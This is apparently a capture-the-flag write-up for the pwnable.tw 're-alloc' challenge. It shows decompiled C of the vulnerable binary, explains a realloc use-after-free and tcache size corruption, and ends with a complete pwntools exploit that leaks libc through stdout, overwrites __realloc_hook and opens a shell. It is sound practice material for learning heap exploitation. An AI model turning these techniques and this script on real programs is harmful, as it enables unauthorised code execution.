ntype.club

realloc revenge

arbitrary writes with tcache

void *heap[2] = {0,0}; //0x4040b0

int64_t read_long()
{
    char buf[0x18];
    //rdi, rsi, rdx, rcx, r8, r9
    read_chk(0, buf, 0x10, 0x11);
    int64_t user = atoll(buf);
    return user;
}

uint64_t read_input(char *ptr, uint32_t size)
{
    char *user = ptr; //rbp - 0x18
    uint32_t usize = size; //rbp - 0x1c
    uint64_t read_size; //rbp-0x08

    read_size = (uint64_t) read_chk(0, user, usize, usize);
    if(ptr[read_size-1] == '\n') {
        ptr[read_size-1] = '\0';
    }

    return read_size;
}

void allocate()
{
    int64_t choice; //rbp-0x20
    int64_t size; //rbp-0x18
    uint64_t rsize; //rbp-0x10

    printf("Index");
    choice = read_long;
    if(choice > 1 || heap[choice] != 0) {
        puts("Invalid");
        return;
    }

    printf("Size");
    size = read_long();
    if( size > 0x78) { //unsigned check
        puts("Too large");
        return;
    }

    void *obj = realloc(NULL, size);
    heap[choice] = obj;
    printf("Data");
    rsize = read_input(obj, (uint32_t) size);
    heap[choice][rsize] = '\0'; //off by one
}

void reallocate()
{
    int64_t choice; //rbp-0x20
    int64_t size; //rbp-0x18
    uint64_t rsize; //rbp-0x10

    printf("Index");
    choice = read_long;
    if(choice > 1 || heap[choice] == 0) {
        puts("Invalid");
        return;
    }

    printf("Size");
    size = read_long();
    if( size > 0x78) {
        puts("Too large");
        return;
    }
    
    void *obj = realloc(heap[choice], size);
    if(obj == NULL) { return; } //use-after-free
    heap[choice] = obj;
    printf("Data");
    rsize = read_input(obj, (uint32_t) size);
}

void rfree()
{
    int64_t choice; //rbp-0x08

    printf("Index");
    choice = read_long();
    if(choice > 1) {
        puts("Invalid");
        return;
    }

    realloc(heap[choice], 0); //equivalent to free
    heap[choice] = 0;
    return;

}

int main()
{
    int user; //rbp-0xc

    init_proc();
    while(1) {
        menu();

        scanf("%d", user);
        switch(user) {
            case 1:
                allocate();
                break;
            case 2:
                reallocate();
                break;
            case 3:
                rfree();
                break;
            case 4:
                exit();
                break;
            default:
                puts("Invalid choice");
                break;
        }
    {
}

There’s a UAF bug in realloc, by passing in a 0 size realloc will free the pointer but the program forgets to unset it in the table allowing the fd, bk pointer to be corrupted. Furthermore, by pivoting the chunk to a different tcache bin we can overwrite the size of certain chunks. It helps to have a basic understanding of what realloc does so here’s relevant pseudocode:

void *realloc(void *oldmem, size_t bytes)
{
    if(bytes == 0) { free(oldmem); return; }

    curr_size = size(oldmem);
    if(bytes < curr_size) {
		//try to split off remainder chunk
		if(curr_size - bytes >= MIN_SIZE_CHUNK) { //0x20
			free(remainder)
			return oldmem;	
		} else {
			return oldmem;
		}
    } else {
		//is chunk neighboring the wilderness
		//then grab additional size and return same ptr
		if(next_chunk(oldmem) == top_chunk) {
			top_chunk->size -= bytes - curr_size;
			top_chunk = top_chunk + (bytes-curr_size);
			size(oldmem) += (bytes-curr_size);
			return oldmem;
		} else { //else free current ptr and create new one
			free(oldmem);
			return malloc(bytes);
		}
    }
}

The code is really simple so I suggest checking it out here. Exploitation is further complicated by the binary being position-independent and only having two pointers to work with. I originally thought of overwriting the tcache bin chunk (first chunk in heap size 0x290) but having to free it afterward to regain control of the pointer made this strat prohibitive. Instead I allocated over 0x400 bytes of heap space and then corrupted a chunk to size 0x441 which gets put into unsorted bin when freed (max tcache size is 0x408). Then the fd pointer of the unsorted chunk can be partially overwritten to point to stdout (requires a 4-bit bruteforce) allowing a libc leak on the next call to puts. From there its trivial to overwrite realloc_hook.

from pwn import *
import struct


def alloc(sh, idx, size, data, sl=True):
    sh.sendlineafter('choice: ', b'1')
    sh.sendlineafter('Index:', str(idx))
    sh.sendlineafter('Size:', str(size))
    sh.sendafter('Data:', data)

def realloc(sh, idx, size, data):
    sh.sendlineafter('choice: ', b'2')
    sh.sendlineafter('Index:', str(idx))
    sh.sendlineafter('Size:', str(size))
    if(size > 0):
        sh.sendafter('Data:', data)

def free(sh, idx):
    sh.sendlineafter('choice: ', b'3')
    sh.sendlineafter('Index:', str(idx))
hh = 0
sh = 0
while(hh < 16):
    hh+=1
    print("TRY " + str(hh))
    try:
        #sh = process('./re-alloc')
        sh = remote('chall.pwnable.tw', 10310)
        alloc(sh, 0, 48, 'AAAA')
        free(sh, 0)

	# this is the size corruption primitive
	# By freeing and reallocating the size we can
	# overwrite size of the second freed chunk
        alloc(sh, 0, 80, 'BBBB')
        realloc(sh, 0, 0, '')
        realloc(sh, 0, 16, 'BBBB')
        free(sh, 0)

	# allcoating +0x400 bytes for our unsorted bin
        for ii in range(0, 9):
            alloc(sh, 0, 96, 'AAAA')
            realloc(sh, 0, 112, 'BBBB')
            free(sh, 0)

	# we need a 0x60 chunk to grab for final exploitation
	# just create it now
        alloc(sh, 0, 96, 'AAAA')
        free(sh, 0)

        # overwrite size to unsorted bin
        alloc(sh, 0, 80, p64(0) * 3 + p64(0x441))
        free(sh, 0)
        realloc(sh, 1, 0, '')
        # partial overwrite of fd pointer to stdout, bruteforce last 4 bits
	realloc(sh, 1, 112, p16(0x9760))

        alloc(sh, 0, 48, 'AAAA')
        free(sh, 0)
        realloc(sh, 1, 16, 'AAAA')
        free(sh, 1)

	# overwriting stdout to leak memory
        alloc(sh, 0, 48, p64(0xfbad1800) + p64(0)*3)
        leak = sh.recv(0x40)
        print(leak)
        print(hex(u64(leak[32:40])))
        libc = u64(leak[32:40]) - 0x1e4780
        print("libc", hex(libc))

	# need another 0x40 chunk for final exploitation, create it here
        alloc(sh, 1, 112, 'pivot')
        realloc(sh, 1, 48, 'pivot')
        free(sh, 1)

        rhook = libc + 0x1e4c28
        rce = libc + 0x106ef8
        if(libc > 0x700000000000 and libc < 0x8f0000000000):
            print("found")
            break
        else:
            sh.close()

    except:
        sh.close()

print(hex(libc))
print(hex(rhook))

pause()
##now overwrite realloc_hook
# the heap is so broken at this point
# allocations that don't pull from occupied tcache bins will break!
alloc(sh, 1, 96, 'AAAA')
realloc(sh, 1, 0, '')
realloc(sh, 1, 32, 'BBBB')
free(sh, 1)

alloc(sh, 1, 96, p64(0) * 5 + p64(0x41) + p64(rhook) + p64(0))
free(sh, 1)

alloc(sh, 1, 48, 'AAAA')
realloc(sh, 1, 16, 'BBBB')
free(sh, 1)

print("shell...")
alloc(sh, 1, 48, p64(rce))
realloc(sh, 1, 0, '')

sh.interactive()